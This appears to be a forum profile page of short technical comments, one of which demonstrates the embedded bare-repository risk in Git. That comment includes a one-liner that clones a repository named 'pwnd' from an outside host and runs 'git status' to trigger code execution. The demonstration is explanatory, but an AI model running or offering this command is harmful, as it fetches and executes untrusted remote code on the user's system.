tomlx

no profile record

Submissions

The risks of embedded bare repositories in Git (2022)

lwn.net

9 pointsby tomlx3 yıl önce0 comments

comments

tomlx

3 yıl öncediscuss

was about to say that ...

> Tags: satire email

tomlx

3 yıl öncediscuss

none that i know of

tomlx

3 yıl öncediscuss

git does not clone hooks, but if a subdirectory of a repo has the structure of a bare repo it can hijack git subcommands for code execution. try:

  git clone https://git.0x90.space/vmann/pwnd && cd pwnd/whoot && git status

it is a bit crazy this is not disabled by default yet.

tomlx

5 yıl öncediscuss

I never got why people think using tar is hard. Specify your archive File with f. want to eXtract it? add a x. want to Create it? add a c. Want it to be Verbose while doing that? add a v. if it's gZiped add a z. Granted, j for bzip2, t for listing is less obvious, but with that it's about everything you need for everyday usage and that more than suffices to disarm that bomb.

tomlx

5 yıl öncediscuss

Interestingly

  $ bash -c 'cd /var/empty; echo .*'
  . ..

but

  $ ksh -c 'cd /var/empty; echo .*'
  .*

Seems some ksh dev got bitten and restricted this ...